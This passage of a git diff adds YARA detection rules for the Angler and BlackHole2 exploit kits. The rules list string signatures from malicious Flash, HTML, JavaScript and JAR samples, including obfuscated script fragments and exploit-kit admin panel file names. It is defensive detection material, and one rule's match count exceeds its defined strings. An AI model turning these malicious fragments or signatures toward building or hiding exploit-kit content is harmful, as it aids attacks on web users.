+	hash0 = "9f809272e59ee9ecd71093035b31eec6"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0k%2{u"
+	$string1 = "\\Pb@(R"
+	$string2 = "ys)dVI"
+	$string3 = "tk4_y["
+	$string4 = "LM2Grx"
+	$string5 = "n}s5fb"
+	$string6 = "jT Nx<hKO"
+	$string7 = "5xL>>}"
+	$string8 = "S%,1{b"
+	$string9 = "C'3g7j"
+	$string10 = "}gfoh]"
+	$string11 = ",KFVQb"
+	$string12 = "LA;{Dx"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_flash_uncompressed.yar b/yara-mikesxrs/codewatchorg/angler_flash_uncompressed.yar
new file mode 100644
index 0000000..217dc32
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_flash_uncompressed.yar
@@ -0,0 +1,31 @@
+rule angler_flash_uncompressed
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "2543855d992b2f9a576f974c2630d851"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "DisplayObjectContainer"
+	$string1 = "Xtime2"
+	$string2 = "(HMRTQ"
+	$string3 = "flash.events:EventDispatcher$flash.display:DisplayObjectContainer"
+	$string4 = "_e_-___-__"
+	$string5 = "ZviJbf"
+	$string6 = "random-"
+	$string7 = "_e_-_-_-_"
+	$string8 = "_e_------"
+	$string9 = "817677162"
+	$string10 = "_e_-__-"
+	$string11 = "-[vNnZZ"
+	$string12 = "5:unpad: Invalid padding value. expected ["
+	$string13 = "writeByte/"
+	$string14 = "enumerateFonts"
+	$string15 = "_e_---___"
+	$string16 = "_e_-_-"
+	$string17 = "f(fOJ4"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_html.yar b/yara-mikesxrs/codewatchorg/angler_html.yar
new file mode 100644
index 0000000..dc1fcee
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_html.yar
@@ -0,0 +1,32 @@
+rule angler_html
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "afca949ab09c5583a2ea5b2006236666"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " A9 3E AF D5 9AQ FA 14 BC F2 A0H EA 7FfJ A58 A3 B1 BD 85 DB F3 B4 B6 FB B2 B4 14 82 19 88 28 D0 EA 2"
+	$string1 = " 2BS 25 26p 20 3F 81 0E D3 9C 84 C7 EC C3 C41M C48 D3 B5N 09 C2z 98 7B 09. DF 05 5EQ DF A3 B6 EE D5 "
+	$string2 = "9 A1Fg A8 837 9A A9 0A 1D 40b02 A5U6 22o 16 DC 5D F5 F5 FA BE FB EDX F0 87 DB C9 7B D6 AC F6D 10 1AJ"
+	$string3 = "24 AA 17 FB B0 96d DBN 05 EE F6 0F 24 D4 D0 C0 E4 96 03 A3 03 20/ 04 40 DB 8F 7FI A6 DC F5 09 0FWV 1"
+	$string4 = "Fq B3 94 E3 3E EFw E6 AA9 3A 5B 9E2 D2 EC AF6 10c 83 0F DF BB FBx AF B4 1BV 5C DD F8 9BR 97v D0U 9EG"
+	$string5 = "29 9B 01E C85 86 B0 09 EC E07 AFCY 19 E5 11 1C 92 E2 DA A9 5D 19P 3A BF AB D6 B3 3FZ B4 92 FF E1 27 "
+	$string6 = "B A9 88 B8 F0 EBLd 8E 08 18 11P EE BFk 15 5BM D6 B7 CEh AF 9C 8F 04 89 88 5E F6 ED 13 8EN1p 86Vk BC "
+	$string7 = "w F4 C8 16pV 22 0A BB EB 83 7D BC 89 B6 E06 8B 2A DC E6 7D CE. 0Dh 18 0A8 5E 60 0C BF A4 00M 00 E3 3"
+	$string8 = "B7 C6 E3 8E DC 3BR 60L 94h D8 AA7k5s 0D 7Fb 8B 80P E0 1BP EBT B5 03zE D0o 2A B97 18 F39 7C 94 99 11 "
+	$string9 = "kY 24 8E 3E 94 84 D2 00 1EB 16 A4 9C 28 24 C1B BB 22 7D 97c F5 BA AD C4 5C 23 5D 3D 5C A7d5 0C F6 EA"
+	$string10 = "08 01 3A 15 3B E0 1A E2 89 5B A2 F4 ED 87O F9l A99 124 27 BF BB A1c 2BW 12Z 07 AA D9 81 B7 A6-5 E2 E"
+	$string11 = " 16 BF A7 0E 00 16 BB 8FB CBn FC D8 9C C7 EA AC C2q 85n A96I D1 9B FC8 BDl B8 3Ajf 7B ADH FD 20 88 F"
+	$string12 = "  ML    "
+	$string13 = " AEJ 3B C7 BFy EF F07X D3 A0 1E B4q C4 BE 3A 10 E7 A0 FE D1Jhp 89 A0sj 1CW 08 D5 F7 C8 C6 D5I 81 D2 "
+	$string14 = "B 24 90 ED CEP C8 C9 9B E5 25 09 C6B- 2B 3B C7 28 C9 C62 EB D3 D5 ED DE A8 7F A9mNs 87 12 82 03 A2 8"
+	$string15 = "A 3A A2L DFa 18 11P 00 7F1 BBbY FA 5E 04 C4 5D 89 F3S DAN B5 CAi 8D 0A AC A8 0A ABI E6 1E 89 BB 07 D"
+	$string16 = "C B5 FD 0B F9 0Ch CE 01 14 8Dp AF 24 E0 E3 D90 DD FF B0 07 2Ad 0B 7D B0 B2 D8 BD E6 A7 CE E1 E4 3E5 "
+	$string17 = "19 0C 85 14r/ 8C F3 84 2B 8C CF 90 93 E2 F6zo C3 D40 A6 94 01 02Q 21G AB B9 CDx 9D FB 21 2C 10 C3 3C"
+	$string18 = "FAV D7y A0 C7Ld4 01 22 EE B0 1EY FAB BA E0 01 24 15g C5 DA6 19 EEsl BF C7O 9F 8B E8 AF 93 F52 00 06 "
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_html2.yar b/yara-mikesxrs/codewatchorg/angler_html2.yar
new file mode 100644
index 0000000..3937bb6
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_html2.yar
@@ -0,0 +1,32 @@
+rule angler_html2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "6c926bf25d1a8a80ab988c8a34c0102e"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "E 06 E7i 1E 91q 9C D0J 1D 9B 14 E7g 1D DD ECK 20c 40 C6 0C AFR5 3D 03 9Em EC 0CB C9 A9 DFw C9 ADP 5B"
+	$string1 = "14Bc 5C 3Bp CB 2A 12 3D A56 AA 14 87 E3 81 8A 80h 27 1C 3A4 CE 12 AE FAy F0 8A 21 B8I AD 1E B9 2C D1"
+	$string2 = "0J 95 83 CC 1C 95D CAD 1A EA F3 00 E9 DA_ F2 ED 3CM1 A0 01t 1B EE 2C B6AWKq BF CAY FE D8 F2 7C 96 92"
+	$string3 = "A8MTCsn C9 DBu D3 10 A0 D4 AC A9 97 06Rn 01 DAK EFFN ADP AE 0E 8FJd 8F DA B6 25RO 18 2A 00 EA F9 8B "
+	$string4 = "A3 EB C1 CE 1E C4ok C4 19 F2 A7 17 9FCoz B6- C6 25J BB 0B 8C1OZ E4 7B AEz F6 06A 5D C0 D7 E8 FF DB D"
+	$string5 = " 07 DE A3 F8 B0 B3 20V A4 B2 C8 60 BD EEG 95 BB 04 1Ckw A4 80 E6 23 F02 FA 9C 9A 14F BDC 18 BE BD B4"
+	$string6 = "7 D1 B9 9B AC 2AN BA D3 00 A9 1CJ3J C0V 8F 8E FC B6p9 00 E1 01 21j B3 27 FF C3 8E 2B 92 8B DEiUI C3 "
+	$string7 = " 99 2C AF9 F9 3F5 A8 F0 1BU C8e/ 00Q B4 10 DD BC 9D 8A BF B2 17 8F BFd DB D1 B7 E66 21 96 86 1E B2 1"
+	$string8 = "E86 DF9 22Tg E93 9Em 29 0A 5B B5m E2 DCIF D6 D2 F5B CF F7XkRv BE EA A6 C5 82p 5E B3 B4aD B9 3A E0 22"
+	$string9 = " 7C 95.q D6f E8 1AE 17 82T 84 F1/O 82 C2q C7 FE 05C E4 E5W F5 0A E4l 12 3Brt 8A E0 E7 DDJ 1F 1F C4 A"
+	$string10 = "4t 91iE BD 2C 95U E9 1C AE 5B 5B A3 9D B2 F9 0B B5 15S9 AB 9D 94 85 A6 F1 AF B6 FC CAt 91iE BD 2C 95"
+	$string11 = "  </input>"
+	$string12 = "2 D12 93 FD AB 0DKK AEN 40 DA 88 7B FA 3B 18 EE 09 92 ED AF A8b 07 002 0A A3S 04 29 F9 A3 EA BB E9 7"
+	$string13 = "40 C6 0C AFR5E 15 07 EE CBg B3 C6 60G 92tFt D7E 7D F0 C4 A89 29 EC BA E1 D9 3D 23 F0 0B E0o 3E2c B3 "
+	$string14 = "2 A3. A3 F1 D8 D4 A83K 9C AEu FF EA 02 F4 B8 A0 EE C9 7B 15 C1 07D 80 7C 10 864 96 E3 AA F8 99bgve D"
+	$string15 = "C 7D DC 0A E9 0D A1k 85s 9D 24 8C D0k E1 7E 3AH E2 052 D8q 16 FC 96 0AR C0 EC 99K4 3F BE ED CC DBE A"
+	$string16 = "40 DA 88 7B 9E 1A B3 FA DE 90U 5B BD6x 9A 0C 163 AB EA ED B4 B5 98 ADL B7 06 EE E5y B8 9B C9Q 00 E9 "
+	$string17 = "F BF_ F9 AC 5B CC 0B1 7B 60 20c 40 C6 0C AFR5 0B C7D 09 9D E30 14 AC 027 B2 B9B A7 06 E3z DC- B2 60 "
+	$string18 = "0 80 97Oi 8C 85 D2 1Bp CDv 11 05 D4 26 E7 FC 3DlO AE 96 D2 1B 89 7C 16H 11 86 D0 A6 B95 FC 01 C5 8E "
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_jar.yar b/yara-mikesxrs/codewatchorg/angler_jar.yar
new file mode 100644
index 0000000..20bc214
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_jar.yar
@@ -0,0 +1,23 @@
+rule angler_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "3de78737b728811af38ea780de5f5ed7"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "myftysbrth"
+	$string1 = "classPK"
+	$string2 = "8aoadN"
+	$string3 = "j5/_<F"
+	$string4 = "FXPreloader.class"
+	$string5 = "V4w\\K,"
+	$string6 = "W\\Vr2a"
+	$string7 = "META-INF/MANIFEST.MF"
+	$string8 = "Na8$NS"
+	$string9 = "_YJjB'"
+condition:
+	9 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/angler_js.yar b/yara-mikesxrs/codewatchorg/angler_js.yar
new file mode 100644
index 0000000..968fef8
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_js.yar
@@ -0,0 +1,31 @@
+rule angler_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "482d6c24a824103f0bcd37fa59e19452"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "    2654435769,   Be"
+	$string1 = "DFOMIqka "
+	$string2 = ",  Zydr$>>16"
+	$string3 = "DFOMIqka( 'OPPj_phuPuiwzDFo')"
+	$string4 = "U0BNJWZ9J0vM43TnlNZcWnZjZSelQZlb1HGTTllZTm19emc0dlsYF13GvhQJmTZmbVMxallMdhWW948YWi t    P  b50GW"
+	$string5 = "    auSt;"
+	$string6 = " eval    (NDbMFR "
+	$string7 = "jWUwYDZhNVyMI2TzykEYjWk0MDM5MA%ZQ1TD1gEMzj         3  D       ',"
+	$string8 = "('fE').substr    (2    ,    1 "
+	$string9 = ",  -1 "
+	$string10 = "    )  );Zydr$  [ 1]"
+	$string11 = " 11;PsKnARPQuNNZMP<9;PsKnARPQuNNZMP"
+	$string12 = "new   Array  (2),  Ykz"
+	$string13 = "<script> "
+	$string14 = ");    CYxin "
+	$string15 = "Zydr$    [    1]"
+	$string16 = "var tKTGVbw,auSt, vnEihY, gftiUIdV, XnHs, UGlMHG, KWlqCKLfCV;"
+	$string17 = "reXKyQsob1reXKyQsob3 "
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole1_jar.yar b/yara-mikesxrs/codewatchorg/blackhole1_jar.yar
new file mode 100644
index 0000000..2354778
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole1_jar.yar
@@ -0,0 +1,26 @@
+rule blackhole1_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BlackHole1 Exploit Kit Detection"
+	hash0 = "724acccdcf01cf2323aa095e6ce59cae"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Created-By: 1.6.0_18 (Sun Microsystems Inc.)"
+	$string1 = "workpack/decoder.classmQ]S"
+	$string2 = "workpack/decoder.classPK"
+	$string3 = "workpack/editor.classPK"
+	$string4 = "xmleditor/GUI.classmO"
+	$string5 = "xmleditor/GUI.classPK"
+	$string6 = "xmleditor/peers.classPK"
+	$string7 = "v(SiS]T"
+	$string8 = ",R3TiV"
+	$string9 = "META-INF/MANIFEST.MFPK"
+	$string10 = "xmleditor/PK"
+	$string11 = "Z[Og8o"
+	$string12 = "workpack/PK"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_css.yar b/yara-mikesxrs/codewatchorg/blackhole2_css.yar
new file mode 100644
index 0000000..86b72f8
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_css.yar
@@ -0,0 +1,22 @@
+rule blackhole2_css
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "9664a16c65782d56f02789e7d52359cd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string1 = "background:url('%%?a=img&img=countries.gif')"
+	$string2 = "background:url('%%?a=img&img=exploit.gif')"
+	$string3 = "background:url('%%?a=img&img=oses.gif')"
+	$string4 = "background:url('%%?a=img&img=browsers.gif')"
+	$string5 = "background:url('%%?a=img&img=edit.png')"
+	$string6 = "background:url('%%?a=img&img=add.png')"
+	$string7 = "background:url('%%?a=img&img=accept.png')"
+	$string8 = "background:url('%%?a=img&img=del.png')"
+	$string9 = "background:url('%%?a=img&img=stat.gif')"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm.yar
new file mode 100644
index 0000000..d4ed72f
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm.yar
@@ -0,0 +1,36 @@
+rule blackhole2_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "92e21e491a90e24083449fd906515684"
+	hash1 = "98b302a504a7ad0e3515ab6b96d623f9"
+	hash2 = "a91d885ef4c4a0d16c88b956db9c6f43"
+	hash3 = "d8336f7ae9b3a4db69317aea105f49be"
+	hash4 = "eba5daf0442dff5b249274c99552177b"
+	hash5 = "02d8e6daef5a4723621c25cfb766a23d"
+	hash6 = "dadf69ce2124283a59107708ffa9c900"
+	hash7 = "467199178ac940ca311896c7d116954f"
+	hash8 = "17ab5b85f2e1f2b5da436555ea94f859"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">links/</a></td><td align"
+	$string1 = ">684K</td><td>"
+	$string2 = "> 36K</td><td>"
+	$string3 = "move_logs.php"
+	$string4 = "files/"
+	$string5 = "cron_updatetor.php"
+	$string6 = ">12-Sep-2012 23:45  </td><td align"
+	$string7 = ">  - </td><td>"
+	$string8 = "cron_check.php"
+	$string9 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string10 = "bhadmin.php"
+	$string11 = ">21-Sep-2012 15:25  </td><td align"
+	$string12 = ">data/</a></td><td align"
+	$string13 = ">3.3K</td><td>"
+	$string14 = "cron_update.php"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm10.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm10.yar
new file mode 100644
index 0000000..fbd4e6e
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm10.yar
@@ -0,0 +1,37 @@
+rule blackhole2_htm10
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "83704d531c9826727016fec285675eb1"
+	hash1 = "103ef0314607d28b3c54cd07e954cb25"
+	hash2 = "16c002dc45976caae259d7cabc95b2c3"
+	hash3 = "fd84d695ac3f2ebfb98d3255b3a4e1de"
+	hash4 = "c7b417a4d650c72efebc2c45eefbac2a"
+	hash5 = "c3c35e465e316a71abccca296ff6cd22"
+	hash2 = "16c002dc45976caae259d7cabc95b2c3"
+	hash7 = "10ce7956266bfd98fe310d7568bfc9d0"
+	hash8 = "60024caf40f4239d7e796916fb52dc8c"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "</body></html>"
+	$string1 = "/icons/back.gif"
+	$string2 = ">373K</td><td>"
+	$string3 = "/icons/unknown.gif"
+	$string4 = ">Last modified</a></th><th><a href"
+	$string5 = "tmp.gz"
+	$string6 = ">tmp.gz</a></td><td align"
+	$string7 = "nbsp;</td><td align"
+	$string8 = "</table>"
+	$string9 = ">  - </td><td>"
+	$string10 = ">filefdc7aaf4a3</a></td><td align"
+	$string11 = ">19-Sep-2012 07:06  </td><td align"
+	$string12 = "><img src"
+	$string13 = "file3fa7bdd7dc"
+	$string14 = "  <title>Index of /files</title>"
+	$string15 = "0da49e042d"
+condition:
+	15 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm11.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm11.yar
new file mode 100644
index 0000000..37964c2
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm11.yar
@@ -0,0 +1,33 @@
+rule blackhole2_htm11
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "e89b56df597688c489f06a0a6dd9efed"
+	hash1 = "06ba331ac5ae3cd1986c82cb1098029e"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash3 = "7cbb58412554327fe8b643204a046e2b"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash0 = "e89b56df597688c489f06a0a6dd9efed"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash7 = "530d31a0c45b79c1ee0c5c678e242c02"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "></th><th><a href"
+	$string1 = "/icons/back.gif"
+	$string2 = ">Description</a></th></tr><tr><th colspan"
+	$string3 = "nbsp;</td><td align"
+	$string4 = "nbsp;</td></tr>"
+	$string5 = ">  - </td><td>"
+	$string6 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string7 = "<h1>Index of /dummy</h1>"
+	$string8 = ">Size</a></th><th><a href"
+	$string9 = " </head>"
+	$string10 = "/icons/blank.gif"
+	$string11 = "><hr></th></tr>"
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm12.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm12.yar
new file mode 100644
index 0000000..b3e9127
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm12.yar
@@ -0,0 +1,36 @@
+rule blackhole2_htm12
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "0d3acb5285cfe071e30be051d2aaf28a"
+	hash1 = "6f27377115ba5fd59f007d2cb3f50b35"
+	hash2 = "f7ffe1fd1a57d337a04d3c777cddc065"
+	hash3 = "06997228f2769859ef5e4cd8a454d650"
+	hash4 = "11062eea9b7f2a2675c1e60047e8735c"
+	hash0 = "0d3acb5285cfe071e30be051d2aaf28a"
+	hash2 = "f7ffe1fd1a57d337a04d3c777cddc065"
+	hash7 = "4ec720cfafabd1c9b1034bb82d368a30"
+	hash8 = "ecd7d11dc9bb6ee842e2a2dce56edc6f"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "  <title>Index of /data</title>"
+	$string1 = "<tr><th colspan"
+	$string2 = "</body></html>"
+	$string3 = "> 20K</td><td>"
+	$string4 = "/icons/layout.gif"
+	$string5 = " <body>"
+	$string6 = ">Name</a></th><th><a href"
+	$string7 = ">spn.jar</a></td><td align"
+	$string8 = ">spn2.jar</a></td><td align"
+	$string9 = " <head>"
+	$string10 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string11 = "> 10K</td><td>"
+	$string12 = ">7.9K</td><td>"
+	$string13 = ">Size</a></th><th><a href"
+	$string14 = "><hr></th></tr>"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm3.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm3.yar
new file mode 100644
index 0000000..46cb3f0
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm3.yar
@@ -0,0 +1,19 @@
+rule blackhole2_htm3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "018ef031bc68484587eafeefa66c7082"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/download.php"
+	$string1 = "./files/fdc7aaf4a3 md5 is 3169969e91f5fe5446909bbab6e14d5d"
+	$string2 = "321e774d81b2c3ae"
+	$string3 = "/files/new00010/554-0002.exe md5 is 8a497cf4ffa8a173a7ac75f0de1f8d8b"
+	$string4 = "./files/3fa7bdd7dc md5 is 8a497cf4ffa8a173a7ac75f0de1f8d8b"
+	$string5 = "1603256636530120915 md5 is 425ebdfcf03045917d90878d264773d2"
+condition:
+	3 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm5.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm5.yar
new file mode 100644
index 0000000..9b75231
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm5.yar
@@ -0,0 +1,34 @@
+rule blackhole2_htm5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "fccb8f71663620a5a8b53dcfb396cfb5"
+	hash1 = "a09bcf1a1bdabe4e6e7e52e7f8898012"
+	hash2 = "40db66bf212dd953a169752ba9349c6a"
+	hash3 = "25a87e6da4baa57a9d6a2cdcb2d43249"
+	hash4 = "6f4c64a1293c03c9f881a4ef4e1491b3"
+	hash0 = "fccb8f71663620a5a8b53dcfb396cfb5"
+	hash2 = "40db66bf212dd953a169752ba9349c6a"
+	hash7 = "4bdfff8de0bb5ea2d623333a4a82c7f9"
+	hash8 = "b43b6a1897c2956c2a0c9407b74c4232"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "ruleEdit.php"
+	$string1 = "domains.php"
+	$string2 = "menu.php"
+	$string3 = "browsers_stat.php"
+	$string4 = "Index of /library/templates"
+	$string5 = "/icons/unknown.gif"
+	$string6 = "browsers_bstat.php"
+	$string7 = "oses_stat.php"
+	$string8 = "exploits_bstat.php"
+	$string9 = "block_config.php"
+	$string10 = "threads_bstat.php"
+	$string11 = "browsers_bstat.php"
+	$string12 = "settings.php"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm6.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm6.yar
new file mode 100644
index 0000000..1ada314
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm6.yar
@@ -0,0 +1,30 @@
+rule blackhole2_htm6
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "a5f94d7bdeb88b57be67132473e48286"
+	hash1 = "2e72a317d07aa1603f8d138787a2c582"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash3 = "58265fc893ed5a001e3a7c925441298c"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash0 = "a5f94d7bdeb88b57be67132473e48286"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash7 = "95c6462d0f21181c5003e2a74c8d3529"
+	hash8 = "9236e7f96207253b4684f3497bcd2b3d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "uniq1.png"
+	$string1 = "edit.png"
+	$string2 = "left.gif"
+	$string3 = "infin.png"
+	$string4 = "outdent.gif"
+	$string5 = "exploit.gif"
+	$string6 = "sem_g.png"
+	$string7 = "Index of /library/templates/img"
+	$string8 = "uniq1.png"
+condition:
+	8 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_htm8.yar b/yara-mikesxrs/codewatchorg/blackhole2_htm8.yar
new file mode 100644
index 0000000..9df6b38
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_htm8.yar
@@ -0,0 +1,28 @@
+rule blackhole2_htm8
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "3f47452c1e40f68160beff4bb2a3e5f4"
+	hash1 = "1e2ba0176787088e3580dfce0245bc16"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash3 = "f5e16a6cd2c2ac71289aaf1c087224ee"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash0 = "3f47452c1e40f68160beff4bb2a3e5f4"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash7 = "6702efdee17e0cd6c29349978961d9fa"
+	hash8 = "287dca9469c8f7f0cb6e5bdd9e2055cd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">Description</a></th></tr><tr><th colspan"
+	$string1 = ">Name</a></th><th><a href"
+	$string2 = "main.js"
+	$string3 = "datepicker.js"
+	$string4 = "form.js"
+	$string5 = "<address>Apache/2.2.15 (CentOS) Server at online-moo-viii.net Port 80</address>"
+	$string6 = "wysiwyg.js"
+condition:
+	6 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_jar.yar b/yara-mikesxrs/codewatchorg/blackhole2_jar.yar
new file mode 100644
index 0000000..0ad70a7
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_jar.yar
@@ -0,0 +1,27 @@
+rule blackhole2_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "86946ec2d2031f2b456e804cac4ade6d"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "k0/3;N"
+	$string1 = "g:WlY0"
+	$string2 = "(ww6Ou"
+	$string3 = "SOUGX["
+	$string4 = "7X2ANb"
+	$string5 = "r8L<;zYH)"
+	$string6 = "fbeatbea/fbeatbee.classPK"
+	$string7 = "fbeatbea/fbeatbec.class"
+	$string8 = "fbeatbea/fbeatbef.class"
+	$string9 = "fbeatbea/fbeatbef.classPK"
+	$string10 = "fbeatbea/fbeatbea.class"
+	$string11 = "fbeatbea/fbeatbeb.classPK"
+	$string12 = "nOJh-2"
+	$string13 = "[af:Fr"
+condition:
+	13 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_jar2.yar b/yara-mikesxrs/codewatchorg/blackhole2_jar2.yar
new file mode 100644
index 0000000..f0afe63
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_jar2.yar
@@ -0,0 +1,26 @@
+rule blackhole2_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "add1d01ba06d08818ff6880de2ee74e8"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "6_O6d09"
+	$string1 = "juqirvs.classPK"
+	$string2 = "hw.classPK"
+	$string3 = "a.classPK"
+	$string4 = "w.classuS]w"
+	$string5 = "w.classPK"
+	$string6 = "YE}0vCZ"
+	$string7 = "v)Q,Ff"
+	$string8 = "%8H%t("
+	$string9 = "hw.class"
+	$string10 = "a.classmV"
+	$string11 = "2CniYFU"
+	$string12 = "juqirvs.class"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_jar3.yar b/yara-mikesxrs/codewatchorg/blackhole2_jar3.yar
new file mode 100644
index 0000000..755c9b2
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_jar3.yar
@@ -0,0 +1,26 @@
+rule blackhole2_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "c7abd2142f121bd64e55f145d4b860fa"
